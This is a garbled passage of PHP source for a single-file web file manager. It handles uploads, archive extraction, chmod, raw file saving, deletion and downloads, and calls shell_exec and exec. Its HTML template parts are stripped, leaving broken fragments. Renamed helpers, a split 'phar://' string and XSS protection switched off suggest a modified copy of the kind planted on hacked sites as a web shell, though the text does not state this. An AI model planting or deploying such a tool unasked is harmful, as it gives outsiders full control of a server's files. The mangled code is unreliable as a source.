fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { 